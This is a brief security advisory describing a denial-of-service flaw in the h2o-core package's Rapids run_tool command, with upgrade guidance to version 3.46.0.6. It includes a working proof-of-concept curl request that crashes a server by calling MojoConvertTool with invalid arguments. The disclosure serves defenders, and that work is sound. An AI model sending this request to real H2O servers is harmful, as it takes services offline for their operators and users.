CWE-400  (opens in a new tab)

How to fix?

Upgrade ai.h2o:h2o-core to version 3.46.0.6 or higher.

Overview

Affected versions of this package are vulnerable to Denial Of Service through the run_tool command in the rapids component, which allows the main function of any class under the water.tools namespace to be called. An attacker can crash the server by invoking the MojoConvertTool class with an invalid argument.

PoC

Start the server, running java -jar h2o.jar(version 3.46.0, older versions should also work)

Send the following POST request (replacing HOSTED_IP with your assigned local IP):

curl http://HOSTED_IP:54321/99/Rapids --data-urlencode 'ast=(run_tool "MojoConvertTool" ["", "", "", ""])'
